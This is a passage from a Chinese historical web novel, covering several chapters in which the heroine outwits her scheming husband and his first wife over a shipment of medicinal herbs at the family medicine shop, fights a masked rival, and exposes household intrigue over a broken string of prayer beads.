“这么早就来了,可真是急不可耐!”小二忍不住跟韩掌柜抱怨一句。 昨晚东家给了信儿,这两日,沈家人要来仁春堂掺和一脚,他们做什么不必理会,顺着就行。 消息传下来,店里伙计多有猜疑,却被韩掌柜压了下去。 “去泡茶,拿我茶柜里的。”韩掌柜吩咐一声,将茶柜钥匙递给伙计。 伙计不情愿,还是接了钥匙转身去后院。 高芝兰进来朝柜台走去。 “我是沈家人,想来姜氏已经跟你们知会过了,自今日,我会时常来店里,姜云舒不在时,大事小情你们尽可来找我。”她进门便宣告权利。 韩掌柜不着痕迹地蹙了蹙眉。 “东家已经吩咐过,沈家人会来店里帮忙,我等自当配合,高夫人且稍作喝茶,我这便带高夫人熟悉各处。” 说话间,伙计的茶已经泡好。 韩掌柜收在柜子里的茶都是好茶,给足了高芝兰面子。 高芝兰低头抿一口茶,眸光一闪,面上不禁多了一丝得意。 想来这韩掌柜倒是个明事理的,知道姜云舒仰仗沈家,所以便悄无声息的巴结她这位原配正室,也好,日后若这仁春堂握在她手里,也可考虑继续留用。 “行,你去忙吧。”高芝兰摆摆手。 旁边干活的伙计看着高芝兰这做派,背地里直撇嘴。 这一日,韩掌柜跟高芝兰介绍了店铺的大概,高芝兰见仁春堂上下对她礼待有加,自以为姜云舒是被拿捏,不免心中得意。 之后几日她依旧早早来仁春堂,这日更是和沈清安一起来,进门便一副当家做主的姿态,跟韩掌柜提出要查账。 韩掌柜当时便警觉起来。 “账册收录核查乃仁春堂要务,若非东家亲自授权,便是在下也无权给沈大人和高夫人看。” 韩掌柜这话说得委婉却明确,你不是东家,无权动账册。 高芝兰没想到韩掌柜会拒绝,当即拉下脸,“姜氏大概没跟你说清楚,月底之后,我也要入股仁春堂的,届时我便是……” 话没说完,就见一伙计急匆匆进来。 “韩掌柜,今日药材交货,得东家出面核账。” 韩掌柜抬头看了一眼外面的日头,放下手中整理的药方。 “此刻东家应该正在北城门施粥,你且去……” 话还未说完,就见高芝兰上前一步。 “交货核账而已,不必劳烦姜氏亲自跑这一趟,我去就行。”她他自告奋勇。 “这……”韩掌柜迟疑。 高芝兰不着痕迹地拽了拽沈清安的衣袖,沈清安犹豫瞬间,上前。 “怎么,这点小事本官也做不得主?还是说,这批药另有玄机?” “没,自然是没有的。”韩掌柜紧忙赔不是,随即转身将订单交给沈清安,“那便劳烦沈大人和高夫人了。” “不劳烦,自家的生意。” 高芝兰满意地接过单子,压制住满腔的兴奋和沈清安转身往外走。 等了这么久,终于拿到单子,交货?交到谁手里那可就不一定了。 待两人离开,韩掌柜脸上的笑意逐渐落了下来。 “去给东家发信儿,我们要动身了。” 说完,随着沈清安和高芝兰出门。 交货地点在城南林库房,一路上,高芝兰和沈清安查看交货单上的药材和数量,面上兴奋更甚。 “没想到,竟是从药王谷来的药材。”高芝兰瞪着眼睛,眼底的欲望遮都遮不住,“想来又是依仗定国将军府的势力才能攀上药王谷。” 言语之间明明是不屑,可眼中却难掩嫉妒,姜云舒就是出身高贵,就是有定国将军府的势力托举,而她,没有。 相比高芝兰的激动,此刻沈清安眉头微蹙,神色几番变换之后,整张脸都呈现出难以辨识的复杂之色。 不知为何,近日他总是不由自主的将此时的姜云舒和以前对比,原以为,她是定国将军府娇养在内宅的大小姐,有个性却天真,如今不得不承认,她身上的气质,让他莫名神往。 或许,他们之间的关系不必如现在这般僵持。 马车飞快朝着城南的方向驶去,而就在距离马车行进方向不远处的山坡上,谢无烬盯着行进的马车,脸色阴翳到了极点。 “这个蠢笨的女人,竟然真将那批药给了沈清安,卫临风,准备动手!” 他额间绷起青筋,手触碰的地面已然是一地碎叶残花。 “是!” 卫临风应声的同时,手中弓箭架了起来。 城南林库房。 马车缓缓停下,韩掌柜上来请,却听得马车之中传来惊呼声。 “芝兰,芝兰,你怎么样!” 韩掌柜眸光一凛,来不及多想上前,“沈大人,可是出了什么事?” 第49章 世子谭秉白 高芝兰是女眷,他不能直接掀车帘进去,只能在外面等着。 “我夫人犯了旧疾,随身的药应该是落在了仁春堂柜台里,劳烦韩掌柜即刻回去取药。”沈清安的声音急促又焦躁。 这话传出来,韩掌柜眉梢突地挑了一下。 明知自己患有旧疾,随身携带的药却拿出来放在别处,这里有难免太过蹩脚。 “沈大人,在下不才,曾经也是医者,不如先让我看看。”韩掌柜听着里面的动静。 这话一出口,很快便传来高芝兰咬着牙的声音。 “不必,我这是多年的旧疾,你只回去将我的药取来便好,多谢韩掌柜!” 那声音听起来似是忍痛,若非心有防备,还真当了真。 韩掌柜自然不会被蒙骗,不过,明知他们是将他支出去,他若不走,后面便没办法进行了。 “如此,还请高夫人稍加忍耐,我这便去。”韩掌柜应一声,转身上马往回走。 这边韩掌柜刚离开,沈清安便从马车里出来,指挥着车队的人掉头往另一条路上走。 “本官是沈家家主,姜氏自然处处以本官为主,她不在,本官也能做主,现在,车队调转方向,去城西。” 如今订单在沈清安手里,车队自然听他调令,车队调转方向就要往城西驶去,而就在这时,树林深处传来一阵马蹄声。 “沈大人,似乎有一波人正朝我们的方向过来。”领队开口提醒。 想都不用想,定然是约在城南林交货的买家了。 沈清安本就心虚,听得有人马过来,当即大手一挥,“快走!” 车队得令猛地拉紧缰绳,整队的马车朝着城西方向飞奔。 然而,马车拉着货物,本就跑不快,不到一炷香的功夫,车队已经被追来的人马团团围住。 “你,你们要做什么!我可是光禄寺少卿,沈清安,劫持朝廷命官可是重罪!”沈清安自马车之中出来。 他紧张得双腿直打颤,勉强攥着拳头咬着牙撑住那口气。 这里是京城地界,不管这批货的买家是什么身份,总不能殴打朝廷命官! “哦,原来是沈大人,你们这是要把我的药材带去什么地方?” 人群之中,一天青色华服锦缎的男子骑马到跟前,此人剑眉鹰眸,开口声音温和,却透着一股莫名的压迫感。 正是信阳侯府世子,谭秉白。 沈清安在京中时日不多,很多权贵并不认识,即便不认识,可看谭秉白那身衣服,便知其身份不低,当下态度更多了几分恭敬。 “不知这位公子是……” “信阳侯府,谭秉白!” 谭秉白直接亮出身份,惊得沈清安瞪大眼睛。 “你是,信阳侯府世子?”沈清安眼皮不受控制的颤了颤。 不光他,高芝兰听到沈清安说明这位的身份后,脸色更是刷的一下就白了。 早知道这批药的买家是信阳侯府,他们说什么都不敢起歪心思啊! 更何况……不对! 高芝兰低头看了一眼单据上的署名,心有忐忑,赔笑问道:“世子怕是弄错了,我手中单据上写的买家明明是高成威,怎的就成了你的货呢?” 沈清安也瞬间反应过来,紧忙点头,“听闻信阳侯府向来家风严谨,谭世子可要确认清楚。” 京城地界,谭家身份再高也不能明抢吧! 谭秉白微微歪着头,视线落在沈清安那强撑镇定的脸上,勾起的唇畔淡开一抹嘲讽之意。 “你说的高成威是我家妹夫,我手上的便是订单。” 谭秉白将订单拿出来,却没给沈清安,“不管买家是谁,交货地明明约定在城南林,你们刚才却掉头朝西走,又是何意?” 一句话,问得沈清安和高芝兰脸上一阵白一阵青。 不过,到底是三甲出身,沈清安很快反应过来,回道:“我们也是发现有兵马过来,想着让路,这才调转了方向。” 树林之中本就没什么路,沈清安这样说,倒也是个理由。 谭秉白没再与他纠缠,招招手,让随行的大师傅过去验货。 药王城来的货,质量品相当然没问题,双方确认,就要验收盖章,此刻,林中再次传来杂乱的脚步声。 “头儿,就在这里!” 声音产来,众人猛然回过头,就见几个衙役带着枷锁到了跟前。 “这批药……” 捕头一开口,抬头就看见谭秉白,紧忙行礼,“参见谭世子,不知谭世子在此有何贵干?” 谭秉白垂眸,视线在几位衙役身上扫过,轻描淡写回答,“收货,前段时间自仁春堂订了一批药材,如今药材进京,本世子便来收货,怎么,有问题?” 他的声音似春风如沐,却听得几位衙役有种寒凉从脊背攀上来的错觉。 “世,世子自然是没有问题的,不过,我们大人接到举报,这批货夹带违禁药品入京,还请世子允我等检查。”捕头回答。 “呵,这就好笑了,药物入京是要经过成门卫检查,城门卫没有查到任何,如今却又说药物违禁,岂不是自己打了自己的脸?”谭秉白勾起的唇畔透出一抹嘲讽。 城门卫每日都要在次日将检验记录送到京兆府,如今这批药材都进京两日了,如今才来说有问题,是成门卫监管不力,还是京兆府不作为? 几句话将衙役说得脸发烫。 他们无从辩解,索性不接话茬,只将搜查批文拿出来。 “还请谭世子不要为难兄弟几个。”捕头上前。 谭秉白没回答,只侧目看向一旁脸色惨白的沈清安和高芝兰。 “你们在我的货里加了违禁药物?” “没!没有!” 高芝兰慌忙摇头,“我们只是将货带来,并未动过里面任何,还请谭世子明鉴。” “既如此……”谭秉白抬手,“你们便搜吧!” “多谢谭世子!” 捕头行礼,紧忙招呼衙役开箱搜查。 一箱箱药材打开,沈清安和高芝兰光是看着那些药材的成色和品质便忍不住暗自感叹。 还得是药王谷的草药,比岩城的本地草药品质不知高出几个等级,若是往后他们也能和药王城搭上关系,不愁药铺在京城站不住脚。 不对,此刻不是想这些的时候。 眼看着衙役从后面几个箱子里拿出几个袋子,沈清安的一颗心瞬间提到了嗓子痒。 同样的布袋子,难不成姜云舒也私自贩盐? “找到了,就是这样!” 捕头将布袋子拿出来,交给跟着过来的大夫,那大夫取其中药草验看,脸色骤变。 “这的确是赤鬼乌草啊,剧毒啊!” 第50章 我与仁春堂毫无干系 京城之地,剧毒药物管控严格,这要是被查出私自贩卖,那可比贩盐更严重! 此刻沈清安和高芝兰又想到那晚在京兆府受训,吓得脸都白了,尤其是高芝兰,双腿止不住打颤,若不是沈清安拖着她,估计要摔在地上了。 此刻捕头正好看向这边,瞧见沈清安和高芝兰,眸光一闪。 “沈大人,又是你?” “不,不是!”沈清安紧忙否认,“我只是替人办事,这批药与我无关。” 马蹄声传来,被支出去的韩掌柜策马而至正好听到沈清安撇清关系的话。 “沈大人,你这样说是何意?你也是我仁春堂东家之一,如今为何又不认了?” 说着话,韩掌柜翻身下马朝谭秉白走过去,“谭世子,货可是有什么问题?” “是赤鬼乌草,有人举报我们买卖违禁药品。”谭秉白回答,视线看向沈清安和高芝兰,“这两位也是你仁春堂的东家?” “不是!”沈清安抢先开口,否认得斩钉截铁。 韩掌柜眼睛微眯,“沈大人不是拿一车药材入股我仁春堂,如今字据还在我手里……” 说着,他抬手将一战协议字据拿出来。 “谁说要入股的,那是你们仁春堂库房药材短缺,我沈家拿来给姜氏应急的!” 高芝兰惊呼一声,上前伸手抢过那字据,“擦擦擦”几下,竟撕成了碎片。 她的动作太快,待反应过来,那字据已经碎得拼都拼不起来。 “韩掌柜,这……”衙役一脸纠结地看向韩掌柜。 韩掌柜亦是一脸震惊,抬头看沈清安和高芝兰,嘴角颤动愣是说不话来,半晌沉沉叹一口气。 “罢了,你们不承认便不承认吧,如今关捕头见证,往后沈大人和高夫人再来我仁春堂便是客,拿药看诊也是要交银子的。” 有官府的人做见证,之后沈清安和高芝兰便再没了改口的机会。 沈清安似乎感觉有什么不对,可如今情急之下也顾不得那么多,当即拂袖“哼”了一声,算是应答。 高芝兰自然不敢多嘴,应声躲在沈清安身后不吭声。 “如此,韩掌柜便与我们回京兆衙门一趟吧。” 捕头使眼色,衙役便上前要上枷锁,却见韩掌柜一抬手。 “京兆府是要去,不过,不是认罪。” 说着,韩掌柜又从腰间掏出一张单据,“这里是太医院院正赵大人亲手所开药方,一月之前,锦州水患多处出现鼠疫,这赤鬼乌草便是治疗鼠疫其中一味药材,如今灾民朝京城涌来,防患于未然,谭世子与我东家商议之后,请赵院正批下文书并定下药方,提前备下了这批药材,作为御药库的补充库存,后期若不启用,其中赤鬼乌草也是要如数交于御药房的。” 听得韩掌柜解释,沈清安和高芝兰的脸色霎时又是一变。 “既然早有批文,你为何不与我交代清楚!”沈清安脸色铁青,额间青筋绷紧。 早知道有这批文,他当时也不至于那样被动。 “就是,韩掌柜,你该不会是故意的吧?”高芝兰亦瞪起眼睛。 韩掌柜瞧着两人变脸,忍不住冷笑一声,“沈大人和高夫人与我仁春堂并无关系,又何必生气呢?” 一句话,噎得沈清安和高芝兰脸色涨红,想到刚才急忙忙与仁春堂撇清关系,心中不由一阵懊恼。 大意了! 韩掌柜不再理会他们,只将审批单和药方交给捕头,捕头接过,确认其中印章后,点点头。 “既如此,这批药也应现在京兆府备案才是,如今被人举报,该走的章程不可避免。”捕头道。 “关捕头说得是,原本东家是想先等信阳侯府验了货再一同去京兆府备案,却不想被人举报,真真是无妄之灾啊!”韩掌柜伸手擦一把汗,略显无辜的看向谭秉白。 谭秉白挑眉看向捕头,“货已经验了,如此,本世子便随你们去一趟京兆府。” “是。” 韩掌柜应声,抬手招呼仁春堂的伙计将货运往城南林的库房,这才跟着往外走。 走到树林边,沈清安和高芝兰还在,韩掌柜朝两人看去,神情不辩喜怒。 “沈大人,可要与我一同前往京兆尹?” 沈清安脸色极度阴翳,当即没好气回一句,“与我何干!” “既如此,那在下先行一步。” 说着,手中缰绳一拉,随着谭秉白出了林子。 沈清安和高芝兰站在原地良久,待回过神来,总觉着这事不太对劲,可哪里不对劲,一时又说不清楚。 此刻,距离城南林不远处的山塔凉亭。 姜云舒手中捻着一只琉璃精粹的杯盏,浅浅品着雨后的新茶。 月禾站在亭中,远远瞧着一队人马朝京兆府奔去,不由得“哼”一声。 “小姐,他们已经去京兆府了,沈家那两个蠢货没跟着。”月禾声音都轻快了几分。 不过,这事儿虽说大快人心,她还是有些不解。 “但是,究竟是谁举报咱们的呢?”她问。 姜云舒还没开口,就听裴钰忍不住哈哈大笑。 “哈哈哈,要不姜云舒计划时不带你呢!这都想不明白!”裴钰抬手给月禾递了一块点心,提醒她,“之前还有谁想要这批药来着?” “三皇子啊!可,这也不能确定就是他吧?”月禾吃了一口点心,还是没想明白。 姜云舒抬头看她,似是无奈的叹一口气,“那日我与三皇子透露这批药材是信阳侯府所定,三皇子和六皇子一直敌对,必定会出手阻止信阳侯府接收这批药材。” “可万一三皇子不动手呢,小姐可以揣摩三皇子的目的,却不能控制他的行动吧!”月禾又问。 姜云舒抿一口茶,笑意逐渐收敛,“那我会安排人举报。” “嘿,沈清安把你接收他药材的单据撕了,你又白得一车药,啧啧啧,论心眼子谁能有你多啊!”裴钰朝姜云舒挑挑眉。 自儿时起,姜云舒与他们来往就没吃过亏,便是当时吃亏之后也会找回来。 让她吃亏,那可真是太难了。 姜云舒抿唇,谁知唇畔笑意尚未来得及浮现,却见她眸光一凛。 “出来!” 她怒喝一声,手中不知何时多了一枚暗器,朝着右侧树林打了出去。 第51章 那晚出手的人 树林之中瞬间晃动,紧接着人影闪出,朝着不同方向快速逃窜。 “站住!” 姜云舒大喝一声,腾身而起追了出去。 裴钰和月禾也瞬间反应过来,朝着另一处方向奔去。 姜云舒善轻功,很快便追上了那黑衣人,手中长鞭在空中打了个旋儿,凛冽的风声划过耳畔,朝着那人后背打去。 黑衣人身手敏捷,一个侧身躲过,回身的同时朝姜云舒踢出一脚。 姜云舒抬手接住,待看到那双阴骛肃杀的眸子,不由一顿。 “又是你!” 正是那日偷了她后方的谎称山匪的黑衣人。 谢无烬被认出,也不急躁,反而睨着眼睛看姜云舒,笑声之中带着略显痞意的玩味。 “怎么,你追过来可是迫不及待地要做我的压寨夫人?” “你找死!” 姜云舒脸色冷厉,紧跟着手中长鞭再次朝谢无烬甩了出去。 这一次,谢无烬并未带剑自不敢迎上来,只防御躲闪,眼看招架不住,他突然抬手,刚才自姜云舒这里接住的那枚暗自再次打向了姜云舒。 姜云舒眸光一凛,手中长鞭急速收回,“啪”的一声将那暗器抽落,随即眸中异色闪过。 “那晚解救六皇子,也是你?”她视线紧盯在谢无烬身上。 当时,那杀手首领一度让段爷和月禾十分吃力,是黑夜之中一枚暗器打中那首领的膝盖,这才结束了那段缠斗。 那晚夜色太浓,姜云舒并未看到那人的脸,只记得那暗器打出的招式凛冽,与眼前这黑衣人别无二差。 “呵,你这小丫头眼力不错嘛!”谢无烬笑声之中带着戏谑,“既然你已经认出我,也应该知道那晚我可是帮了你们,虽算不上救命之恩,不过,你若愿意以身相许,我也勉为其难接受。” “哼,我可没求你帮忙,更不知你是敌是友!” 姜云舒说话的瞬间,长鞭再次朝谢无烬打了出去。 “把我的玉簪还回来!” 玉簪用来定情,可是结发之意,怎可随意落入他人之手? 谢无烬动作敏捷再次躲过这一鞭,抬手,自发间取下那玉簪朝姜云舒晃了晃。 “我凭本事得来的玉簪,你想要回去,那便凭本事来拿!” “你!” 姜云舒嘴角下拉,眼神瞬间变得冷硬,说话间,手中长鞭如疾风般朝谢无烬甩了过去。 谢无烬唇角上扬,借着躲闪的空隙朝姜云舒身份袭来,却在此刻,听得一声喊。 “小姐,我们来了!” 姜云舒与谢无烬同时抬头,就见裴钰和月禾顶着一脑袋树叶快速奔来。 谢无烬眸光微敛,一对一尚且能周旋,再来两个,对他可不利。 “看来,这次你是拿不回去了,下次吧!” 说话间,谢无烬倏然出手朝姜云舒肩膀推了一把,姜云舒反手甩出鞭子,身后已经不见了那人踪影。 虽不甘心,可不得不承认,那人的确有几分手段。 姜云舒望着那人离开的方向,双手不由得攥紧了拳头,下次再遇上,一定将他打得跪地求饶! 片刻的功夫,裴钰和月禾已经到了跟前,两人方才看到那人自姜云舒面前逃离,不由得面露惊诧。 “那人速度很快,什么身份?”裴钰问。 就刚才姜云舒那一鞭子的速度,他自问是逃不开的。 “就是上次在平洲,偷我们后方的劫匪头子。”姜云舒没好气,又补了一句,“那晚暗中帮我们的人也是他。” “这人这么厉害,到底什么来头?”月禾忍不住惊呼一声。 那晚她和段爷与那杀手首领纠缠,若不是那人出手,他们未必能占上风。 姜云舒摇摇头,声音之中似带着几分郁闷。 “不清楚,交手两次,我依旧看不出他的武功路数,甚至,是敌是友也未可知。” 她习惯了做事全局掌控,如今莫名出现的这个人,是变数。 京城之外,祁山谷。 卫临风过来时,谢无烬正在把玩着从姜云舒头上抢来的玉簪。 玉簪通体洁白油润,都说美人如玉,也不过如姜云舒这般,只是这温润之中又透着一股沁人心脾的寒凉,真真太合他的意。 “主子,那批药已经送到了城南林远郊一处库房,可是要准备动手?”卫临风问。 “不用,只要不是给沈家就行!”谢无烬摆摆手,唇畔不自觉漾开笑意。 还以为,那丫头识人不清还执迷不悟,如今看来,她倒是清醒得很。 此刻,站在另一侧的卫临冲,扭头看看谢无烬,胸膛一挺。 “沈家?主子若是看他们不爽,杀了就是,属下今夜便去,保证明日沈家就办丧事!” 说着,他抬手做出一个灭口的手势。 那手势倒是酷酷的,结果,下一秒就被卫临风一巴掌拍在了脑袋上。 “你以为姜小姐是寻常女子,别忘了,她可是上过战场的,即便定国将军府没落,她也不必依存沈家,要杀人,用不着你动手,她做得比你干净!”卫临风没好气。 好歹在主子身边这么多年,他这弟弟怎么还没长进? 卫临冲一脸委屈地捂着脑袋,不服气,“可那沈家都明着欺辱了,她竟还能忍着留在沈家,我还以为她嫁人之后性子就变了呢。” 谢无烬哼笑一声,伸手从零食布袋里拿出牛肉干分给卫临风和卫临冲。 “如今看来,她还能留在沈家,看来是查到了什么。” “主子的意思是,定国将军府一案与沈清安有关?”卫临冲又问。 “谁知道呢!”谢无烬挑眉,双眸之间幽深不辩。 “哦。”卫临冲往嘴里塞了一块牛肉,咬牙切齿地嚼了几下,随即想到什么,“咱们已经到了京城地界,为何还要等皇帝出了皇陵再进京?” 这话问出,谢无烬和卫临风交换一个无奈的眼神。 “皇上谨慎多疑,趁他在皇陵时进京,咱们势必会被盯着,更何况,爷是渊政王府弃子,总得在人前自暴自弃,才能让人放下戒备。” 谢无烬难得耐心与他解释,随即又看向卫临风,“传我令,让后面队伍加快进程来京城与我们汇合,顺便,带上沿路买来的那批舞姬。” “是!” 卫临风领命离开。 傍晚,夜幕逐渐拢下来,晚霞的余辉拨开云层,染红正片天际。 姜云舒怒气冲冲到清竹园时,沈清安正在整理文案,只听得院内“砰”的一声,紧接着便是子固的声音。 “姜夫人,大人正在处理公务,您不能进去!”子固上前,想拦住姜云舒。 第52章 讹的就是你 姜云舒面色阴沉,犀利冷冽的目光落在子固身上,冷冷开口。 “我找沈清安,你让开!” 子固被她的气势压住,眼神带着躲闪却依旧强撑着拦在前面。 姜云舒周身透着一股压迫般的寒凉,她一步步往前逼近,不过,这逼迫感也并不强势,在子固一步步后退时,她的视线趁机在院内扫过一圈。 如她所料,院内几处摆放的确和那晚又不一样了。 竟是活阵。 观察得差不多,姜云舒给月禾使个眼色,月禾上前一把拽住子固的领子,让人往旁边一甩。 子固本就是贴身侍奉的小厮,虽会些拳脚,可在月禾面前根本不够看的,连挣扎都来不及便被月禾扔了出去。 姜云舒趁机往里走,趁着这次机会在沈清安面前硬闯,谁知尚未踏入阵中,书房的门打开,沈清安沉着一张脸走了出来。 “姜氏,你这是做什么?”沈清安理不直气也壮。 姜云舒站定在原地,仰着头看他,唇畔勾起一抹嘲讽。 “我做什么,沈大人难道不清楚?如今我不该跟你来要个说法?” 说话间,姜云舒抬脚又要往里走,却见沈清安快步朝门口走了过来。 姜云舒唇畔带笑,余光却紧盯着他落下的步点。 眼看着人到跟前,她仰起头,满眼嘲讽,问:“沈大人,是你举报的我吧?只因为我拒绝将药材给你那原配救急,所以,你便可以毫无忌惮地对我动手?” 她双手攥着拳头,眼眶因酸涩微微泛红,泪水却倔强地不肯落下来。 “不,不是我!”沈清安没见过姜云舒这般,一时稍有慌乱,“我们之前还说好了入股的,我为何要举报你?” “入股?可就在衙役搜出赤鬼乌草时,你和高氏急于和我仁春堂撇清关系。”姜云舒冷笑一声。 当时姜云舒虽未出现在场,可韩掌柜却会如实禀告,沈清安自知理亏,便是方才也在想如何与姜云舒解释,可真到了跟前,面对姜云舒的质问,他突然说不出话来了。 “我与仁春堂本就没有签订协议,撇清关系也是正常。”他强行找补。 可这话出口,姜云舒原本愠怒的表情在一瞬间怔愣之后,倏地笑出了声。 “所以,沈大人与我说的,协同共进就是在出现问题时,毫不犹豫将我推出去?看来,沈大人对我当真是厌恶至极,既如此,我离开就是。” 她咬着牙,看似无尽悲伤般,倔强地将涌起的眼泪逼回去,朝门口喊一声,“月禾,收拾东西,我们走!” “云舒!” 沈清安惊呼一声,上前拦住姜云舒,“我没让你走,也没厌恶你,你何必如此!” 挽留的话刚出口,沈清安一下子愣住,他也不知道为什么就拦了出来。 大概,是因为她现在还不能离开沈家,如老夫人所说,她对沈家还有用处。 对,自然是因为她还有用! 沈清安眼神瞬息之间变了好几变,随即坦度软了下来。 “我之所以急于撇清关系,是因为,如果真出了事,总要有人奔走于此。” 这借口,荒唐且可笑至极。 姜云舒也不再纠结于此,转而道:“不管如何,我仁春堂与沈大人合作无缘,到此为止,如沈大人所说,往后我们两不相干。” “既如此,我那车草药还是要还回来的!” 这时,门口传来高芝兰的声音。 姜云舒冲到清竹园时动静不小,高芝兰自然是得了信儿,这才忙不迭地赶了过来。 幸亏来得快,晚一步,她那草药便不保了。 说话的功夫,高芝兰已经到了跟前,她仰着头看向姜云舒,那理不直气还壮的神情与沈清安如出一辙。 “还?”姜云舒邪邪勾起唇角,笑得满面嘲讽,“违约也要支付违约赔偿,更何况,在我看来,高夫人撕毁字据便是主动放弃了这车药材。” 说完,不等高芝兰回答,直接转向沈清安。 “沈大人,我说得对吗?” 姜云舒本就要带月禾离开,若此刻沈清安依旧站在高氏这边,姜云舒怕是对簿公堂也要争这口气。 “区区一车药而已,我沈家不是赔不起!”沈清安咬牙。 这话一出,高芝兰的眼泪唰的就落了下来。 “那可是我在岩城三年的积蓄啊!若是没有这批药材,这药铺该怎么开啊!” 高芝兰觉得天都塌了。 “哟,高夫人在岩城的生意做得大啊,区区三年时间,便能存得万两银子。” 月禾忍不住开口,话是说的高芝兰,眼睛却是看向沈清安,“沈大人赈灾三年,如今戴功归来,可别让人揪了小辫子,得不偿失。” 话里话外,高芝兰的银子都是借沈清安的关系得来,若被人诟病贪污受贿也不是没可能。 这话一出口,高芝兰就急了,瞪着眼睛朝月禾斥责一声,“你懂什么,我的银子都是……” “好了!”沈清安拧着眉头打断她,“药铺所用药材,我会另外想办法,此事到此为止。” 沈清安此刻表情严肃冷厉,便是由不得她再多嘴。 高芝兰不甘心,可那字据是她自己撕的,一时也无能为力。 她站在原地不说话,只是看向姜云舒的目光带着无边的怨毒与恨意。 沈夫人的位置本来就是她高芝兰的,是姜云舒抢走了她的夫君,让她在岩城受苦多年,姜云舒,一介罪臣之女,凭什么如今过得这样舒畅?凭什么占据京城最好的药铺? 姜云舒如今拥有的一切,都应该是她高芝兰的,拿回来,她一定要把属于自己的一切都拿回来! 离开清竹园,姜云舒与月禾往回走,绕过桥廊到揽芳院附近,月禾这才忍不住舒一口气。 “小姐可记清楚了沈大人刚才的步点?”她歪着头看向姜云舒。 姜云舒点头,“天乾阵每日子时会变化,今晚我们得想个办法拖住他。” “可……”月禾有些犯难,“难不成,小姐要摆酒请那负心汉过来?” 以姜云舒在沈家的身份,想要拖住沈清安,大约只有请他喝酒了。 姜云舒瞧着一脸愁容,无奈地再叹一口气。 “谁说是我拖住他?你忘了,今日是老夫人礼佛的日子,长元毁了她那串琥珀佛珠的事,怕是瞒不住了。” 第53章 离间之计 是夜,万籁俱寂,一泓池水犹如平静的明镜,倒影出天上的一轮明月。 各院院灯落,整个沈府准备入睡,此刻,一声尖叫自福寿园传来,撕碎了这漫天的宁静,引得众人急匆匆朝福寿园而来。 姜云舒到时,老夫人正哭天抢地。 “造孽啊,这是要我的命啊!” 老夫人抱着一串琥珀佛珠哭得前仰后合,险些喘不上气来。 那佛珠是姜云舒自崇光寺替老夫人求来的,原是金黄色的琥珀珠子,大概是沾了高温,其中有一段的珠子都有烧融的痕迹。 当年老太太得了那佛珠,病也好了,岩城又传来沈清安获救的好消息,老夫人一直觉得所有的好事都归功于那佛珠,加之老夫人本也是一个善于依赖信仰的人,一串珠子,她几乎要供起来一天三炷香。 那不只是老太太的佛珠,那是她的信仰和精神支柱。 沈清安沈清睿兄弟两个正守在老太太床边,另一边,高氏将沈长元护在身后,母子俩战战兢兢,眼中慌乱尽显。 “你来了!” 见姜云舒回来,沈清安紧忙起身迎了过来,“你送给母亲的佛珠,是从哪里弄来的?快些再去弄一串来。” 老太太这架势,说严重,她随时能再晕过去,要说不严重,给她一串新的佛珠,她或许就能立刻下床。 佛珠是姜云舒送的,一时间众人的视线都落在姜云舒身上,便是高氏母子,此刻看向姜云舒的目光亦带着渴求。 “姜,姜氏,你若能再帮母亲弄一条原样的佛珠,我便同意你做相公的平妻。”高芝兰紧忙开口。 “平妻?” 姜云舒就看向高芝兰,她嘴角弯起,明明是笑却又极尽讽刺,“我在沈家是什么身份,凭什么轮到你同意?我劝你尽早去京兆尹确认清楚,这收录在册的光禄寺少卿沈夫人究竟是哪一位!” 官员,尤其是京城官员,家室妻儿都要收录在册,由京兆衙门统筹管理并提报户部,这也是沈清安为何不能随意将姜云舒贬妻为妾的缘由。 当然,也如姜云舒之前所说,他们的婚事是皇上首肯并参加宴礼的,便是姜云舒犯了七出之罪,也得跟皇上知会一声才能休妻。 如今高芝兰也只能凭借“原配”的身份,在沈府自称一声夫人,之于律法,她便是连“妾”的身份都没有。 “你,我……” 高芝兰一下子噎住,争论不过,她下意识扭头看向身后的沈清安。 “相公,你看她!” 如今沈清安一心只在老夫人身上,根本没有心思理会她们之间妻妾的争论,高芝兰这一喊,他眉头皱的更紧了。 “都这个时候了,你们争论这些有何用处!”沈清安呵斥一声,再次看向姜云舒,“你倒是快说,这佛珠如何能再得?” 姜云舒未答,只看向一旁的沈清睿,“佛珠如何得来,二郎不知道吗?” 沈清睿顿了一下,看向姜云舒,眼皮轻颤,动容道:“是姜嫂嫂在崇光寺求来的,当初母亲病危,是姜嫂嫂一步一磕头拜到了菩萨跟前,崇光寺自山脚而上,台阶一共两千七百六十七阶,姜嫂嫂的膝盖都磕肿了,才求得无忧大师为母亲亲自诊病,并请来开光的佛珠,母亲的病这才转好,自此两年,母亲也正因此极少生病。” 自那次大病痊愈,老夫人的确很少生病,气色甚至比前些年还好,不得不承认,这都得益于姜云舒。 沈清安闻言却是震惊不已,原以为那佛珠不过是在寺院捐了香火钱便能求来,此刻听到“两千七百六十七阶台阶”才意识到,这是他娘的护身符啊。 姜云舒站在一旁眼皮颤了颤,当初膝盖肿起来倒也不是因为跪的,那是她参加皇宴,打马球时九公主刚好闯进来,她为了救九公主受了伤。 不过,给老夫人看病,求得佛珠也是真的,她受着沈家的感激并不心虚。 沈家两兄弟脸色难看,老夫人见他们都不说话,猛地一拍大腿。 “哎哟,那佛珠可是我的命啊,佛珠毁了我也不活了!”老夫人哭喊得更大声了。 沈清安被吵得耳朵疼,拧着眉开口,“哎呀,这几日便去崇光寺给你再求一条回来!” 说完,又朝众人不耐烦地摆摆手。 “都散了吧!” 这么多人围着,心烦。 高芝兰如临大赦,拉着沈长元就要走。 姜云舒眉头却皱了起来,一炷香的功夫,月禾怕是还没结束,得拖住沈清安。 “老夫人,您屋里重要的东西少,尤为珍贵的那些还是另存他处为好,保不齐下人有个失误再给毁了。” 姜云舒说得云淡风轻,老夫人听者有心。 这串琥珀佛珠,她的确是放在里间的,便是吉祥如意也都得她在场时才能进去,除非…… “长元,是不是你!”老夫人中气十足地朝沈长元怒喝一声。 她的屋子,只有这个孙子随意出入。 沈长元一个五岁的孩子,还扛不住事儿,当时吓得一哆嗦,猛地躲在高芝兰伸手,死死抓住她的衣服。 只这反应,都不用再问,定然是他无疑了。 “母亲,救我,救我啊!”沈长元声音颤抖。 “逆子!” 沈清安怒吼一声,转手“啪”的一巴掌甩在沈长元脸上。 沈长元一个踉跄摔在地上,“哇”的一声哭了出来,一边哭,一边抱着高芝兰的大腿。 “母亲,你救救我,你不是说过祖母不会发现的吗?” 空气一瞬间彻底安静下来。 “高氏!”老夫人怒吼一声,伸手指着高芝兰,“我真是,我真是看错了你!” 她后悔了,自打高芝兰跟着大郎回来,她没有想象中的扬眉吐气,什么好处都没捞到,反而以前在姜云舒这里享受的优待也都没有了。 